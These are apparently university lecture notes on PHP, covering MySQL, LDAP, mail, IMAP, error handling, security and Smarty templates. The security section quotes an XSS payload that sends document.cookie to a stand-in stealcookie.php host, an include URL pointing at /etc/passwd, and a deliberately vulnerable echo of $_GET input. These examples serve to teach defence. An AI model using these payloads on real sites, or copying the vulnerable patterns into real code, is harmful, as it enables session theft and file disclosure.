Anda di halaman 1dari 24

OPEN SOURCE SOFTWARE UNIT - V

IV IT

Working with MySql Database in PHP


MySQL is a relational database often used to store data for web sites working in
conjunction with PHP. MySQL was built using the SQL base and released as an open source
database system. Because of its popularity, it is highly supported with PHP. Interaction to
MySQL database using PHP is very simple and includes only few steps.
The basic steps of performing the operations in MySql using PHP are:
Connect to the database.
Select the database to use.
Build a SQL statement.
Perform the database operations using SQL queries.
Display the results.
Close the database connection
When connecting to a MySQL database, we will use two new resources. The first is
the link identifier that holds all of the information necessary to connect to the database for an
active connection. The other resource is the results resource. It contains all information
required to retrieve results from an active database querys result set.

DEPARTMENT OF INFORMATION TECHNOLOGY - SVECW

OPEN SOURCE SOFTWARE UNIT - V

IV IT

Step 1: Connect to the Database


Before performing any operations on the database, we must first connect to the
database using a function mysql_connect() and check to make sure that theres a connection.
This function opens a connection to MySQL server. The general syntax of mysql_connect() is

Syntax : mysql_connect($hostname, $username, $password);


Parameter

Description

Server name

Optional. Specifies the server to connect to. Default value is

username

"localhost:3306"
Optional. Specifies the username to log in with. Default value is the name

password

of the user that owns the server process


Optional. Specifies the password to log in with. Default is ""

Example code to connect to MySql database in PHP is:


<?php
$connect = mysql_connect("localhost", "root", "");
if(!$connect){
die("Cannot connect to MySQL server". mysql_error());
}else{
echo "Sucessfully conencted to MySQL server";
}
?>
Step 2: Selection of database
The next step is to select which database to use with the mysql_select_db( ) function.
It takes two parameters: the database name and, optionally, the database connection. If we
dont specify the database connection, the default is the connection from the last
mysql_connect(). The general syntax of is mysql_select_db( ) is

DEPARTMENT OF INFORMATION TECHNOLOGY - SVECW

OPEN SOURCE SOFTWARE UNIT - V

IV IT

Syntax:
mysql_select_db($database);
Example code to select a MySql database is
<?php
$connect = mysql_connect("localhost", "root", "");
if(!$connect){
die("Cannot connect to MySQL server". mysql_error());
}else{
echo "Sucessfully connected to MySQL server";
}
$db = mysql_select_db("testDb", $connect);
if(!$db){
die("Cannot select a database". mysql_error());
}else{
echo "Database is sucessfully selected";

} ?>

Step 3: Build a SQL Statement


Building a SQL query is as easy as setting a variable with the SQL Query string. We
need to use a valid DML or DDL or DCL SQL query, or MySQL returns with an error when
we execute the query.

<? php
$query = "SELECT * FROM books";
?>

Step 4: Performing Operations on database


We can perform various types operations on the database by using mysql_query( )
function. It takes two parameters: the query and, optionally, the database link and returns the
different types of data depending on the SQL statement type and execution status.

DEPARTMENT OF INFORMATION TECHNOLOGY - SVECW

OPEN SOURCE SOFTWARE UNIT - V

IV IT

Returning FALSE, if the execution failed.


Returning a Result Set object, if the execution is successful on a SELECT statement
Returning TRUE, if the execution is successful on other types of SQL statements.

Example code to execute a Select query on database


<?php
$connect = mysql_connect("localhost", "root", "");
if(!$connect){
die("Cannot connect to MySQL server". mysql_error());
}else{
echo "Sucessfully connected to MySQL server";
}
$db = mysql_select_db("testDb", $connect);
if(!$db){
die("Cannot select a dababase". mysql_error());
}else{
echo "Database is sucessfully selected";
}
$query = "SELECT * FROM books";
$result = mysql_query($query, $connect);
if(!$result){
die ("database query failed". mysql_error());
}
?>
Step 5: Fetching and Displaying the results
Once the database query is executed, the results are available in the resource returned
by mysql_query( ). To access the data from that resource, it requires one of the mysql_fetch
functions to make the data fully available to PHP.

The fetching functions are as follows:

mysql_fetch_row( ): Returns row as an enumerated array


mysql_fetch_object( ): Returns row as an object
mysql_fetch_array( ): Returns row as an associative array
mysql_result( ): Returns one cell of data

DEPARTMENT OF INFORMATION TECHNOLOGY - SVECW

OPEN SOURCE SOFTWARE UNIT - V

IV IT

Syntax for mysql_fetch_row() is


mysql_fetch_row($data)
Parameter

Description

Data

Required. Specifies which data pointer to use. The data pointer is the
result from the mysql_query() function

Example
<?php
$con = mysql_connect("localhost", "root", "");
if (!$con)
{
die('Could not connect: ' . mysql_error());
}
$db_selected = mysql_select_db("test_db",$con);
$sql = "SELECT * from Person WHERE Lastname='Refsnes'";
$result = mysql_query($sql,$con);
print_r(mysql_fetch_row($result));
?>
Step 6: Closing the database connection
Finally we close the connection to the MySQL server. mysql_close() is used to close
the connection to database using PHP.
Example code
<?php
$con = mysql_connect("localhost", "root", "");
if (!$con)
{
die('Could not connect: ' . mysql_error());
}
$db_selected = mysql_select_db("test_db",$con);
$sql = "SELECT * from Person WHERE Lastname='Refsnes'";
$result = mysql_query($sql,$con);
print_r(mysql_fetch_row($result));
mysql_close($con);
?>

DEPARTMENT OF INFORMATION TECHNOLOGY - SVECW

OPEN SOURCE SOFTWARE UNIT - V

IV IT

PHP and LDAP


LDAP is an excellent protocol for accessing directory servers, offering a definitive
model for storing, retrieving, manipulating, and protecting directory data which consists of
four key models:
Information
LDAP defines the structure of information stored in a directory server. Generally it
follows tree like structure for the representation of information.
Naming
LDAP offers a well-defined structure for determining how LDAP information is
navigated, identified, and retrieved. This structure is known as a common directory structure.
Examples of such entities include plant and animal taxonomies, corporate organizational
hierarchies and family trees.
Function
LDAP defines what can be done to information stored in a directory server, specifying
how data can be retrieved, inserted, updated, and deleted. Furthermore, LDAP defines both
the format and the transport method used for communication between an LDAP client and
server.
Security
LDAP offers a scheme for determining how and by whom the information stored in
an LDAP directory is accessed. Numerous access levels are offered, offering access-privilege
levels like read, insert, update, delete, and administrative. Also, the Transport Layer Security
(TLS) extension to LDAPv3 offers a secure means for authenticating and transferring data
between the client and server through the use of encryption.
Example LDAP Directory Structure

DEPARTMENT OF INFORMATION TECHNOLOGY - SVECW

OPEN SOURCE SOFTWARE UNIT - V

IV IT

Using LDAP from PHP


PHP has the capability with a full-featured API to connect to, and communicate with,
LDAP directory servers.
Connecting to the LDAP Server
We must first establish a connection to the server before any interaction can begin.
PHPs LDAP server connection function is known as ldap_connect().

ldap_connect()
resource ldap_connect ([string hostname [, int port]])

The ldap_connect() function establishes a connection to the LDAP server specified


by hostname on port port. If the ldap:// is used, then LDAPs standard port 389 is used. If the
connection is successful, a link identifier is returned; on error, FALSE is returned. A simple
usage example is

<?php
$ldapHost = "ldap://ad.example.com";
$ldapPort = "389";
$ldapconn = ldap_connect($ldapHost, $ldapPort) or die("Can't establish LDAP connection");
?>

ldap_start_tls()
boolean ldap_start_tls (resource link_id)
This function is typically executed immediately after a call to ldap_connect() if the
developer wants to connect to an LDAP server securely using the Transport Layer Security
(TLS) protocol. TLS connections for LDAP can take place only when using LDAPv3.
Because PHP uses LDAPv2 by default, we need to declare use of version 3 specifically, by
using ldap_set_option(), before making a call to ldap_start_tls().
For Example
<?php
$ldapconn = ldap_connect("ldap://ad.example.com");
ldap_set_option($ldapconn, LDAP_OPT_PROTOCOL_VERSION, 3);
ldap_start_tls($ldapconn);
?>

DEPARTMENT OF INFORMATION TECHNOLOGY - SVECW

OPEN SOURCE SOFTWARE UNIT - V

IV IT

Binding to the LDAP Server


Once a successful connection has been made to the LDAP server, we need to pass a
set of credentials. These credentials include a username, Relative Distinguished Name, and a
password.

ldap_bind()
boolean ldap_bind (resource link_id [, string bind_rdn [, string bind_pswd]])

Proper credentials are often required before data can be retrieved or manipulated. This
is accomplished using ldap_bind(). This function requires the link_id returned from
ldap_connect(), and likely a username and password.

For example

<?php
$ldapHost = "ldap://ad.example.com";
$ldapPort = "389";
$ldapUser = "ldapreadonly";
$ldapPswd = "iloveldap";
$ldapconn = ldap_connect($ldapHost, $ldapPort) or die("Can't establish LDAP connection");
ldap_bind($ldapconn, $ldapUser, $ldapPswd) or die("Can't bind to the server.");
?>

Retrieving LDAP Data


Because LDAP is a read-optimized protocol, some useful data search and retrieval
functions would be offered within any implementation. PHP offers numerous functions for
retrieving directory information. Those functions are
ldap_search()
resource ldap_search (resource link_id, string base_dn, string filter [,
array attributes [, int attributes_only [, int size_limit [, int time_limit [int deref]]]]])

ldap_search() performs the search for a specified filter on the directory with the
scope of LDAP_SCOPE_SUBTREE. This is equivalent to searching the entire directory.
base_dn specifies the base DN for the directory.
8

DEPARTMENT OF INFORMATION TECHNOLOGY - SVECW

OPEN SOURCE SOFTWARE UNIT - V

IV IT

link_identifier
An LDAP link identifier, returned by ldap_connect().
base_dn
The base Distinguished Name (DN Name) for the directory.
filter
The search filter can be simple or advanced, using Boolean operators.
attributes
If the attributes parameter is not explicitly assigned, all attributes will be returned for
each entry, which is inefficient if were not going to use all of them.
attrsonly
Should be set to 1 if only attribute types are retrieved. If set to 0 both attributes types
and attribute values are fetched which is the default behavior.

sizelimit
Enables us to limit the count of entries fetched. Setting this to 0 means no limit.
timelimit
Sets the number of seconds how long is spend on the search. Setting this to 0 means
no limit.
deref
Specifies how aliases should be handled during the search. It can be one of the
constants like LDAP_DEREF_NEVER, LDAP_DEREF_SEARCHING,
LDAP_DEREF_FINDING, DAP_DEREF_ALWAYS

Working with Entries


An LDAP entry can be very similar to database row, consisting of both attributes and
corresponding values. Several functions are available for retrieving entries of a result set.

ldap_get_entries()
array ldap_get_entries (resource link_id, resource result_id)
The ldap_get_entries() function offers an easy way to place all members of the result
set into a multidimensional array. The following list offers the numerous items of information
that can be derived from this array:

DEPARTMENT OF INFORMATION TECHNOLOGY - SVECW

OPEN SOURCE SOFTWARE UNIT - V

IV IT

return_value["count"]: The total number of retrieved entries


return_value[n]["dn"]: The DN of the nth entry in the result set
return_value[n]["count"]: The total number of attributes available in the nth entry of
the result set
return_value[n]["attribute"]["count"]: The number of items associated with the nth
entry of attribute

For example

<?php
/* ... Connect to LDAP server and bind to a directory. */
/* Search the directory */
$results = ldap_search($ldapconn, $dn, "sn=G*");
/* Create array of attributes and corresponding entries. */
$entries = ldap_get_entries($ldapconn,$results);
/* How many entries found? */
$count = $entries["count"];
/* Output the surname of each located user. */
for($i=0;$i<$count;$i++) echo $entries[$i]["sn"][0]."<br />";
/* Close the connection. */
ldap_unbind($ldapconn);
?>
Closing the LDAP Server Connection
After we have completed all of our interaction with the LDAP server, we should clean
up and properly close the connection. One function, ldap_unbind(), is available for doing
just this.

ldap_unbind()
boolean ldap_unbind (resource link_id)
The ldap_unbind() function terminates the LDAP server connection associated with
link_id.

10

DEPARTMENT OF INFORMATION TECHNOLOGY - SVECW

OPEN SOURCE SOFTWARE UNIT - V

IV IT

A usage example follows:

<?php
$ldapconn = ldap_connect("ldap://ad.example.com", 389) or die("Can't establish LDAP
connection");

ldap_bind($ldapconn,"ldapreadonly", "iloveldap") or die("Can't bind to LDAP.");


/* Execute various LDAP-related commands. */
ldap_unbind($ldapconn) or die("Could not unbind from LDAP server.");
?>

Sending and Receiving Mails


This powerful easy-to-implement feature of PHP is to interact with network protocols
like SMTP, POP3 and IMAP. Using PHPs popular mail() function, we can send e-mail to
one or more recipients. This function also used for controlling headers information,
including attachments, and carry out other commonly desired tasks.

Configuration Directives
There are four configuration directives pertinent to PHPs mail() function before
using this to send e-mails. These configuration settings can be done in php.ini file located in
PHP installation directory.
Name

Default

SMTP

"localhost"

smtp_port

"25"

Description
Windows only: The DNS name or IP
address of the SMTP server
Windows only: The SMTP port
number. Available since PHP 4.3

Scope
PHP_INI_ALL

PHP_INI_ALL

Windows only: Specifies the "from"


sendmail_from

NULL

address to be used in email sent from PHP_INI_ALL


PHP
Unix systems only: Specifies where

sendmail_path

NULL

the sendmail program can be found PHP_INI_SYSTEM


(usually /usr/bin/sendmail)

11

DEPARTMENT OF INFORMATION TECHNOLOGY - SVECW

OPEN SOURCE SOFTWARE UNIT - V

IV IT

mail() function
boolean mail(string to, string subject, string message [, string addl_headers [,
string addl_params]])

The mail() function can send an e-mail with a subject of subject and a message
containing message to one or several recipients denoted in to. We can tailor many of the email properties using the addl_headers parameter, and can even modify the SMTP servers
behavior by passing extra flags via the addl_params parameter.

For example
<?php
mail("test@example.com", "This is a subject", "This is the mail body");
?>

Sending an E-Mail to Multiple Recipients


Sending an e-mail to multiple recipients is easily accomplished by placing the
comma-separated list of addresses within the to parameter. For example

<?php
$recipients = "test@example.com , info@example.com";
mail($recipients, "This is the subject","This is the mail body");
?>

We can also send to cc: and bcc: recipients, by modifying the corresponding headers.
For example

<?php
$headers = "From:secretary@example.com\r\n";
$headers .= "Bcc:theboss@example.com\n";
mail("intern@example.com", "Company picnic scheduled", "Don't be late!", $headers);
?>

12

DEPARTMENT OF INFORMATION TECHNOLOGY - SVECW

OPEN SOURCE SOFTWARE UNIT - V

IV IT

Sending an Attachment
To send an email with attachment we need to use the multipart/mixed MIME type
that specifies the mixed types will be included in the email. Moreover, we want to use
multipart/alternative MIME type to send both plain-text and HTML version of the email.
For example
<%
include("mimemail/htmlMimeMail5.php");

// Instantiate the class


$mail = new htmlMimeMail5();

// Set the From and Reply-To headers


$mail->setFrom('Jason <author@example.com>');
$mail->setReturnPath('author@example.com');

// Set the Subject


$mail->setSubject('Test with attached email');

// Set the body


$mail->setText("Please find attached Chapter 16. Thank you!");

// Retrieve a file for attachment


$attachment = $mail->getFile('chapter16.doc');

// Attach the file, assigning it a name and a corresponding Mime-type.


$mail->addAttachment($attachment, 'chapter16.doc', 'application/vnd.ms-word');

// Send the email to editor@example.com


$result = $mail->send(array('editor@example.com'));
%>

13

DEPARTMENT OF INFORMATION TECHNOLOGY - SVECW

OPEN SOURCE SOFTWARE UNIT - V

IV IT

Retrieving Messages from mail server


For retrieving the messages, we can use POP3 or IMAP protocols. Generally PHP
offers a powerful range of functions for communicating with the IMAP protocol. These
functions are used for establishing and closing the IMAP connection, retrieving messages,
composing a message, sending a message, mailbox administration.

Establishing and closing IMAP connection


Before we do anything with the IMAP protocols, we need to establish a server
connection. Once weve completed the necessary tasks, we should close the connection.

imap_open()
resource imap_open(string mailbox, string username, string pswd [, int options])

The imap_open() function establishes a connection to an IMAP mailbox specified by


mailbox, returning an IMAP stream on success and FALSE otherwise.

For example
// Open an IMAP connection
$ms = imap_open("{imap.example.com:143/imap/notls}","jason","mypswd");

imap_close()
boolean imap_close(resource msg_stream [, int flag])

The imap_close() function closes a previously established stream, specified by


msg_stream. It accepts one optional flag, CL_EXPUNGE, which destroys all messages
marked for deletion upon execution. An example follows:
<?php
// Open an IMAP connection
$ms = imap_open("{imap.example.com:143}","jason","mypswd");
// Perform some tasks ...
// Close the connection, expunging the mailbox
imap_close($ms, CL_EXPUNGE);
?>

14

DEPARTMENT OF INFORMATION TECHNOLOGY - SVECW

OPEN SOURCE SOFTWARE UNIT - V

IV IT

Retrieving Messages
For retrieving the messages from mail box, we have to use the functions like
imap_fetchoverview() and imap_fetchbody() functions.

imap_fetchoverview()
array imap_fetchoverview(resource msg_stream, string sequence [, int options])

The imap_fetchoverview() function retrieves the message headers for a particular


sequence of messages, returning an array of objects. If the optional options flag is set to
FT_UID, then it is assumed that the msg_number is a UID. Each object in the array consists
of 14 attributes:

answered: Determines whether the message is flagged as answered

date: The date the message was sent

deleted: Determines whether the message is flagged for deletion

draft: Determines whether the message is flagged as a draft

flagged: Determines whether the message is flagged

from: The sender

message-id: The Message-ID header

msgno: The messages message sequence number

recent: Determines whether the message is flagged as recent

references: This messages referring Message-ID

seen: Determines whether the message is flagged as seen

size: The messages size, in bytes

subject: The messages subject

uid: The messages UID

imap_fetchbody()
string imap_fetchbody(resource msg_stream, int msg_number, string part_number
[,flags options])
The imap_fetchbody() function retrieves a particular section (part_number) of the
message body identified by msg_number, returning the section as a string. If we leave

15

DEPARTMENT OF INFORMATION TECHNOLOGY - SVECW

OPEN SOURCE SOFTWARE UNIT - V

IV IT

part_number blank, by assigning it an empty string, this function returns the entire message
text. The following example retrieves the entire message:

<?php
// Open an IMAP connection
$user = "jason";
$pswd = "mypswd";
$ms = imap_open("{imap.example.com:143}INBOX",$user, $pswd);

// Retrieve total number of messages


$nummsgs = imap_num_msg($ms);
$messages = imap_fetch_overview($ms,"1:$nummsgs");

// If message not flagged as seen, output info about it


while(list($key,$value) = each($messages)) {
if ($value->seen == 0) {
$message = imap_fetchbody($ms,$value->msgno,"","FT_PEEK");
echo "<p>Subject: ".$value->subject."<br />";
echo "Date: ".$value->date."<br />";
echo "From: ".$value->from."</p>";
}
}
?>

Debugging and Error Handling


One of the features of PHP is its comprehensive error-handling functionality. We can
control many aspects of how errors are triggered and handled.

Types of Errors
There are a number of different error types that may be triggered in PHP. Some of
these can be recovered from, while others cannot that is, some errors will cause the current
script execution to immediately halt. These errors are defined by specific constants.
The following list is some of the PHP Error Predefined Constants.
16

DEPARTMENT OF INFORMATION TECHNOLOGY - SVECW

OPEN SOURCE SOFTWARE UNIT - V

IV IT

Configuration Directives for Error Reporting


When one of the errors occurs, whether or not it is reported is determined by the
error_reporting setting.
Method 1 :We can set this either in php.ini
Method 2: We can set it in the web server configuration (such as in httpd.conf or a
.htaccess file)
Method 3: We can set it at runtime that is, from within our PHP script.
Method 1:
If we set the error level in the php.ini, we can combine the error constants into a
bitwise mask. For example

error_reporting = E_ALL & ~E_NOTICE ; all errors and not notices


error_reporting = E_WARNING | E_NOTICE ; warnings or notices

17

DEPARTMENT OF INFORMATION TECHNOLOGY - SVECW

OPEN SOURCE SOFTWARE UNIT - V

IV IT

Method 2:
If we set the error level in httpd.conf or in .htaccess, these constant names do not
exist. We must use their corresponding integer values instead.
For example

# this sets E_WARNING | E_NOTICE (2 | 8)


php_value error_reporting 10

Method 3:
To set at runtime we can use either ini_set() or error_reporting().
For example

<?php
ini_set('error_reporting', E_ALL & ~E_NOTICE);
error_reporting(E_WARNING | E_NOTICE);
?>

Error Reporting Mechanisms


There are essentially two ways that the errors are reported:
1. To the screen (or end-user's browser)
2. To a log file
It is recommended that displaying errors to the end-user is only ever used in
development or for debugging. Production web sites should write errors to log files and
display graceful messages to the end-user.
Method 1:
As we develop applications, having errors displayed in the browser is a useful way to
receive immediate feedback, and this can speed up the development process
If an application in production, displaying errors on end users browser, vital
information about the application is revealed to the public. We should disable display_errors
in production.
In an httpd.conf or .htaccess file we can disable this with the following:

18

DEPARTMENT OF INFORMATION TECHNOLOGY - SVECW

OPEN SOURCE SOFTWARE UNIT - V

IV IT

php_value display_errors Off

Method 2:
To log errors to the file system, enable the log_errors setting. By default this will
write errors to the server's error log. We can use a different log file by setting the error_log
directive in either httpd.conf or .htaccess file.
For example

php_value log_errors On
php_value error_log /path/to/site/logs/php-errors.log

Triggering our Own Errors


It is possible to trigger PHP errors explicitly by using the trigger_error() function.
The first argument is a descriptive error message and the second argument is the type of
error.
The typical scenario where we would trigger our own errors is when writing a custom
PHP library that others can use. We can trigger errors in situations where the library isn't
being correctly used.
For example
<?php
function myFunc($anInteger)
{
if (!is_int($anInteger)) {
trigger_error(First argument to myFunc() must be an integer',E_USER_NOTICE);
}
// do something
}
myFunc('A string');
?>

19

DEPARTMENT OF INFORMATION TECHNOLOGY - SVECW

OPEN SOURCE SOFTWARE UNIT - V

IV IT

PHP Security
Its important to understand that PHP itself is neither secure nor insecure. The security
of our web applications is entirely determined by the PHP code. There are several common
issues that can lead to insecure scripts, such as filenames, file uploads, and the eval( )
function. Some problems are solved through code (e.g., checking filenames before opening
them), while others are solved through changing PHPs configuration.

Global Variables and Form Data


When register_globals is enabled in the php.ini file, then anything passed in a GET
or POST gets automatically translated into a variable in PHP.
For example:
If the web server receives the request like the following URL
http://www.domain.com/vars.php?myvar=123
Without any further coding, this would automatically get turned into a variable which
is available to the rest of our PHP code like the following
$myvar //with a value of 123
With register_globals OFF, data passed in via GET or POST is NOT automatically
translated into a variable, rather, we need to request it using the Super globals $_GET,
$_POST, and $_REQUEST, etc.
Include Files
PHP allows us to include files in our script via include( ), include_once( ),
requires(), and requires_once( ). This is convenient and aids maintainability and reuse but
is dangerous. Suppose we have a script that includes several HTML file and displays those in
the proper layout like the following:
<?php include($layout) ?>
If someone were to pass the $layout variable through a GET like the following
http://example.com/leftframe.php?layout=/etc/passwd

20

DEPARTMENT OF INFORMATION TECHNOLOGY - SVECW

OPEN SOURCE SOFTWARE UNIT - V

IV IT

Then it might happen to reveal the password file contents to intruder. So we must take
care while including the files in PHP file. There are several solutions to the problem of
checking filenames. We can disable remote file access, check filenames with realpath( ) and
basename(), and use the open_basedir option to restrict file system access.

Restrict File system Access to a Specific Directory


If our application must operate on the file system, we can set the open_basedir option
to further secure the application by restricting access to a specific directory. If open_basedir
is set in php.ini, PHP limits file system and I/O functions so that they can operate only within
that directory or any of its subdirectories.
For example:

open_basedir = /some/path

With this configuration in effect, the following function calls succeed:

unlink("/some/path/unwanted.exe");
include("/some/path/less/travelled.inc");

But these generate runtime errors:

$fp = fopen ("/some/other/file.exe", "r");


$dp = opendir("/some/otherpath/../other/file.exe");
Cross Site Scripting (XSS)
Cross site scripting is one of the more prevalent security flaws found within Web
applications today. XSS occurs "when an attacker uses a web application to send malicious
code, generally in the form of a browser side script, to a different end user." This means that
an attacker is submitting code, for example, Java script, within a form field that could
potentially redirect information, such as cookies, which store a username and password to an
unknown location.
Here is an example of a simple script vulnerable to XSS and is used to fetch a news
item based on an ID:
21

DEPARTMENT OF INFORMATION TECHNOLOGY - SVECW

OPEN SOURCE SOFTWARE UNIT - V

IV IT

<?php
$id = $_GET['id'];
echo $id;
?>
If $_GET['id'] contains a number, then the script will run as intended. But if it
contains the following code:
<script>window.location.href = "http://domain.com/stealcookie.php?c=' +
document.cookie;</script>
If an attacker passed this simple Javascript into the $_GET['id'] variable and
convinced a user to click it, then the script would be executed and be used to pass the user's
cookie data onto the attacker, allowing them to log in as the user.
Prevention Mechanisms from XSS attacks
To prevent XSS attacks, we need to filter user input, removing it of HTML tags so
that no Java script can be run. The easiest way to do this is with the following PHP's built in
function
strip_tags( ): Used to remove HTML from a string rendering it harmless.
htmlentities( ): Used to convert < and > to &lt; and &gt; respectively, if we do not
want to remove HTML from a string.

PHP Templates
A templating system provides a way of separating the code in a web page from the
layout of that page. In larger projects, templates can be used to allow web designers to deal
exclusively with designing web pages and programmers to deal exclusively with
programming. The basic idea of a templating system is that the web page itself contains
special markers that are replaced with dynamic content. A web designer can create the
HTML for a page layout, using the appropriate markers for different kinds of dynamic
content that are needed. The programmer is responsible for creating the code that generates
the dynamic content for the markers.

22

DEPARTMENT OF INFORMATION TECHNOLOGY - SVECW

OPEN SOURCE SOFTWARE UNIT - V

IV IT

Smarty is a template engine for PHP, facilitating the separation of presentation


(HTML/CSS) from application logic. This implies that PHP code is application logic, and is
separated from the presentation. Smarty offers a powerful array of features like

Powerful presentational logic: Smarty offers constructs capable of both


conditionally evaluating and iteratively processing data.
Template compilation: To eliminate costly rendering overhead, Smarty converts its
templates into comparable PHP scripts by default, resulting in a much faster rendering
upon subsequent calls. Smarty is also intelligent enough to recompile a template if its
contents have changed.
Caching: Smarty also offers an optional feature for caching templates. Caching
differs from compilation in that enabling caching also prevents the respective logic
from even executing, instead of just rendering the cached contents.
Highly configurable and extensible: Smartys object-oriented architecture allows us
to modify and expand upon its default behavior.
Secure: Smarty offers a number of features intended to shield the server and the
application data from potential compromise by the designer.

Using Smarty
Since Smarty separates PHP from HTML, there are two files required one
contains the presentation code: an HTML template, including Smarty variables and tags such
as {$title_text|escape}, {$body_html}, and second one is PHP file that contains business
logic.

For example
The first file called template file where Smarty variables and tags are used as
placeholder for dynamic content to be replaced by PHP application logic.

23

DEPARTMENT OF INFORMATION TECHNOLOGY - SVECW

OPEN SOURCE SOFTWARE UNIT - V

24

DEPARTMENT OF INFORMATION TECHNOLOGY - SVECW

IV IT

Anda mungkin juga menyukai